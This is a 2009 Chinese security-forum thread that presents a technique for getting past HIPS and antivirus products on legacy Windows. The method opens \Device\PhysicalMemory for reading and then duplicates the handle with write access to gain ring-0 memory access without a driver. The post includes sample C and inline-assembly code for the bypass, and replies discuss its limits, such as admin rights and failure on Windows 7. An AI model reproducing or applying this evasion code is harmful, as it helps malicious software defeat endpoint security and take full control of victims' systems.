首页
社区
课程
招聘
[原创]突破HIPS的防御思路之duplicate physical memory
发表于: 2009-5-17 13:25 10833

[原创]突破HIPS的防御思路之duplicate physical memory

2009-5-17 13:25
10833
突破HIPS的防御思路之duplicate physical memory

众所周知,WINDOWS 2000/XP/2003 SP0系统上,提供了一个\Device\PhysicalMemory的Section对象,可以直接操作物理内存对象。直接操作此对象映射的物理内存,可以操作RING0内存,达到无驱进入RING0的目的。

这已是很多年前就被用烂了的技术了,大部分驱动防火墙、绝大部分HIPS软件、AntiVirus软件等都对此进行了防御。不过,老树也能开新花,我们来看看这个东东的新利用方法:

1).CreateSymbolicLink,这也是很古老的方法,很多安全软件也已经防御。因为一些安全软件只防御了NtOpenSection,并根据打开的对象名是否是\Device\PhysicalMemory来进行拦截,但是只要对\Device\PhysicalMemory创建符号链接,那么一样可以使用NtOpenSection打开

2).Duplicate法,大部分目前的安全软件,都是拦截\Device\PhysicalMemory并判断DesiredAccess是否包含SECTION_MAP_WRITE(除了一些极端无聊的没人用的HIPS外,这种的完全可以无视), 因为一些正常的软件,也需要打开\Device\PhysicalMemory进行物理内存读入(例如微软Wga~)。

但这就让攻击者有空可钻,攻击者可以先以SECTION_MAP_READ打开物理内存对象,再以SECTION_MAP_WRITE方式duplicate handle,这样就可以获取对物理内存的写权限,进行物理内存写入了。大部分安全软件都没有防御这种方式(例如瑞*),这样,攻击者又重新获得了对于系统至高无上的权利~

示例代码:

UNICODE_STRING uniname ;
OBJECT_ATTRIBUTES oba ;

HMODULE hlib = LoadLibrary("ntdll.dll");
PVOID p = GetProcAddress(hlib , "ZwOpenSection");
uniname.Buffer = (PWSTR)phyname;
uniname.Length = sizeof(phyname) - sizeof(WCHAR);
uniname.MaximumLength = sizeof(uniname);
HANDLE handle ; 
LONG stat ;
InitializeObjectAttributes(&oba , &uniname , 0x40 , 0 , 0 );
__asm{
   lea eax , oba
   push eax
   push 4
   lea   eax , handle
   push eax
   call p
   mov stat , eax
}
printf("stat 1 %08x\n" , stat);
HANDLE xhandle ; 
BOOL bret = DuplicateHandle(GetCurrentProcess() , handle,GetCurrentProcess() , &xhandle , SECTION_MAP_WRITE | SECTION_MAP_READ , FALSE , DUPLICATE_CLOSE_SOURCE);

[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

收藏
免费 7
支持
分享
最新回复 (11)
雪    币: 1407
活跃值: (17)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
膜拜mj
貌似EQ就是极端无聊的没人用的HIPS之一
访问\PhysicalMemory法记得好像打了某个sp后就失效了
2009-5-17 13:37
0
雪    币: 635
活跃值: (101)
能力值: ( LV12,RANK:420 )
在线值:
发帖
回帖
粉丝
3
这类HIPS为什么没人用:
1).事实上没人用:作者不懂宣传和商业手段等客观原因

2).理论上没人用:不考虑用户实际使用和正常软件的兼容、产品的兼容性,只考虑安全性,即使强制推送,也必然被用户抛弃,和VISTA SP0的下场比较类似
2009-5-17 13:43
0
雪    币: 7651
活跃值: (523)
能力值: ( LV9,RANK:610 )
在线值:
发帖
回帖
粉丝
4
复制后的访问权限可以随意指定,这是个问题啊~
2009-5-17 18:54
0
雪    币: 203
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
azy
5
这个方法可以过垃圾e盾,其它比较难
2009-5-17 21:03
0
雪    币: 635
活跃值: (101)
能力值: ( LV12,RANK:420 )
在线值:
发帖
回帖
粉丝
6
绝大部分商业防护软件、驱动防火墙,都可以过
2009-5-17 21:13
0
雪    币: 8865
活跃值: (2379)
能力值: ( LV12,RANK:760 )
在线值:
发帖
回帖
粉丝
7
这是因为你用Admin权限打开了object,如果你用个User权限试试~~
如果能...恭喜你,一个安全漏洞被发现了。

Win7下不能啊~
ZwOpenSection都失败了~
2009-5-17 21:54
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
老V正解!!!!!!!!!
2009-5-18 10:37
0
雪    币: 635
活跃值: (101)
能力值: ( LV12,RANK:420 )
在线值:
发帖
回帖
粉丝
9
实际是因为duplicate/open都是走obcreatehandle等等,都要经过access check,duplicate由此可看做open的变形~
2009-5-18 11:14
0
雪    币: 220
活跃值: (701)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
老V什么时候也发点原创的东西呢?
2009-5-18 21:32
0
雪    币: 272
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
引用:
2).Duplicate法,大部分目前的安全软件,都是拦截\Device\PhysicalMemory并判断DesiredAccess是否包含SECTION_MAP_WRITE(除了一些极端无聊的没人用的HIPS外,这种的完全可以无视), 因为一些正常的软件,也需要打开\Device\PhysicalMemory进行物理内存读入(例如微软Wga~)。

我装的HIPS,凡是读取物理内存的操作我都是拒绝,很多软件都有这个动作,拦截后仍然正常!
2009-5-19 10:11
0
雪    币: 8865
活跃值: (2379)
能力值: ( LV12,RANK:760 )
在线值:
发帖
回帖
粉丝
12
不发帖,只回帖~
另外我一般喜欢发从各个毒或者角落里翻出来的bin
2009-5-19 12:24
0
游客
登录 | 注册 方可回帖
返回
//